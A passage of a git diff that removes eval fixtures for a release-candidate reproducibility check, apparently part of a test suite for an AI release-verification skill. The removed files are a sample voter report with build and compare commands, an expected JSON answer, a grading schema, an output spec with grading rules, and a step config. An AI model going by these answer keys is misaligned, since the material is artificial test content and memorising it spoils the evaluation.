3.2.0-rc2^{commit} → 9988776655443322110000ffeeddccbbaa998877 (matches) - repro-archive compare apache-foo-3.2.0-source.tar.gz rebuilt/apache-foo-3.2.0-source.tar.gz - → verdict content-identical - metadata reproducibility check gzip-header fails on A (embedded filename) - cmp apache-foo-3.2.0-bin.tar.gz target/apache-foo-3.2.0-bin.tar.gz → identical diff --git a/tools/skill-evals/evals/release-verify-rc/step-9-reproducibility/fixtures/case-5-convenience-artefact-differs/expected.json b/tools/skill-evals/evals/release-verify-rc/step-9-reproducibility/fixtures/case-5-convenience-artefact-differs/expected.json deleted file mode 100644 index 031f80ea9..000000000 --- a/tools/skill-evals/evals/release-verify-rc/step-9-reproducibility/fixtures/case-5-convenience-artefact-differs/expected.json +++ /dev/null @@ -1,19 +0,0 @@ -{ - "step": "reproducibility", - "status": "FAIL", - "mandatory": false, - "source": { - "enabled": true, - "verdict": "identical", - "recorded_commit": "9988776655443322110000ffeeddccbbaa998877", - "source_date_epoch": 1758412800, - "content_differences": [] - }, - "binaries": { - "mode": "byte-identical", - "identical": ["apache-foo-4.1.0-bin.tar.gz"], - "differs": ["registry.example.org/apache/foo:4.1.0-rc2"], - "known_divergences_hit": [] - }, - "trusted_hardware_asserted": false -} diff --git a/tools/skill-evals/evals/release-verify-rc/step-9-reproducibility/fixtures/case-5-convenience-artefact-differs/report.md b/tools/skill-evals/evals/release-verify-rc/step-9-reproducibility/fixtures/case-5-convenience-artefact-differs/report.md deleted file mode 100644 index a446c3b1f..000000000 --- a/tools/skill-evals/evals/release-verify-rc/step-9-reproducibility/fixtures/case-5-convenience-artefact-differs/report.md +++ /dev/null @@ -1,29 +0,0 @@ - - -RC: 4.1.0-rc2. Staged: https://dist.apache.org/repos/dist/dev/foo/4.1.0-rc2/ -Flags: (none) - -release-management-config.md: automated_release_signing: off -release-build.md: - source_archive_method: git-archive, source_archive_format: tar.gz, - source_archive_prefix: apache-foo-4.1.0 - reproducibility_source: on - reproducibility_binaries: byte-identical - § Convenience artefacts (project-specific): - - apache-foo-4.1.0-bin.tar.gz (binary-tarball, staging dist-dev, - build_command: mvn -Papache-release -Dproject.build.outputTimestamp="${SOURCE_DATE_EPOCH}" -DskipTests clean package) - - registry.example.org/apache/foo:4.1.0-rc2 (container-image, staging registry-staging, - build_command: docker build --build-arg SOURCE_DATE_EPOCH -t registry.example.org/apache/foo:4.1.0-rc2 .) - -Planning-issue reproducibility record: - commit 9988776655443322110000ffeeddccbbaa998877 - SOURCE_DATE_EPOCH 1758412800 - -Voter's run on their own workstation: - git rev-parse 4.1.0-rc2^{commit} → 9988776655443322110000ffeeddccbbaa998877 (matches) - repro-archive compare apache-foo-4.1.0-source.tar.gz rebuilt/apache-foo-4.1.0-source.tar.gz - → verdict identical - cmp apache-foo-4.1.0-bin.tar.gz target/apache-foo-4.1.0-bin.tar.gz → identical - docker pull registry.example.org/apache/foo@sha256:1111… (staged digest); local rebuild digest sha256:2222… - → DIFFERS: registry.example.org/apache/foo:4.1.0-rc2 (base image not pinned by digest; layer 0 differs) diff --git a/tools/skill-evals/evals/release-verify-rc/step-9-reproducibility/fixtures/grading-schema.json b/tools/skill-evals/evals/release-verify-rc/step-9-reproducibility/fixtures/grading-schema.json deleted file mode 100644 index e956726ce..000000000 --- a/tools/skill-evals/evals/release-verify-rc/step-9-reproducibility/fixtures/grading-schema.json +++ /dev/null @@ -1,3 +0,0 @@ -{ - "prose_fields": ["paste_recipe"] -} diff --git a/tools/skill-evals/evals/release-verify-rc/step-9-reproducibility/fixtures/output-spec.md b/tools/skill-evals/evals/release-verify-rc/step-9-reproducibility/fixtures/output-spec.md deleted file mode 100644 index 223ec6cc3..000000000 --- a/tools/skill-evals/evals/release-verify-rc/step-9-reproducibility/fixtures/output-spec.md +++ /dev/null @@ -1,57 +0,0 @@ - - -# Step 9 output specification - -The model must return ONLY valid JSON matching this schema: - -```json -{ - "step": "reproducibility", - "status": "PASS" | "WARN" | "FAIL" | "SKIP", - "mandatory": true | false, - "source": { - "enabled": true | false, - "verdict": "identical" | "content-identical" | "differs" | "tag-moved" | null, - "recorded_commit": "", - "source_date_epoch": , - "swhid_dir": "", - "swhid_matches": true | false | null, - "rule_failures": [""], - "metadata_differences": [""], - "content_differences": [""] - }, - "binaries": { - "mode": "off" | "byte-identical" | "documented-divergence", - "identical": [""], - "differs": [""], - "known_divergences_hit": [": "] - }, - "trusted_hardware_asserted": true | false, - "paste_recipe": "" -} -``` - -Grading rules: -- `source.verdict` echoes the `repro-archive compare` verdict stated in - the report (`identical`, `content-identical`, `differs`), or - `tag-moved` when the tag no longer resolves to the recorded commit. -- `status` is `"FAIL"` for `differs` or `tag-moved`, and for any - binary in `binaries.differs`. -- `content-identical` is `"WARN"` in RM-key mode and `"FAIL"` when the - report states `automated_release_signing: enabled` (the policy - requires bit-by-bit identity). -- `mandatory` is `true` only under `automated_release_signing: enabled`; - `--skip-repro` is then ignored. -- `"SKIP"` only when nothing is enabled or `--skip-repro` applies in - RM-key mode. -- `trusted_hardware_asserted` mirrors `--trusted-hardware` exactly; it - is never `true` unless the report says the flag was passed. -- `swhid_dir` is the `swh:1:dir:` the report shows for the staged - archive (core form, no qualifiers) or `null` when none was computed; - `swhid_matches` is `true` when it equals the recorded one, `false` - when it does not (then `status` is `"FAIL"`), `null` when the - planning issue recorded no SWHID. -- `paste_recipe` must be non-empty whenever `status` is not `"SKIP"` - and must contain `repro-archive build` and `repro-archive compare`. -- No extra keys are permitted in the response. diff --git a/tools/skill-evals/evals/release-verify-rc/step-9-reproducibility/fixtures/step-config.json b/tools/skill-evals/evals/release-verify-rc/step-9-reproducibility/fixtures/step-config.json deleted file mode 100644 index ea959729e..000000000 --- a/tools/skill-evals/evals/release-verify-rc/step-9-reproducibility/fixtures/step-config.json +++ /dev/null @@ -1,4 +0,0 @@ -{ - "skill_md": "skills/release-verify-rc/reproducibility.md", - "step_heading": "# Step 9 — Reproducibility checks (optional)" -}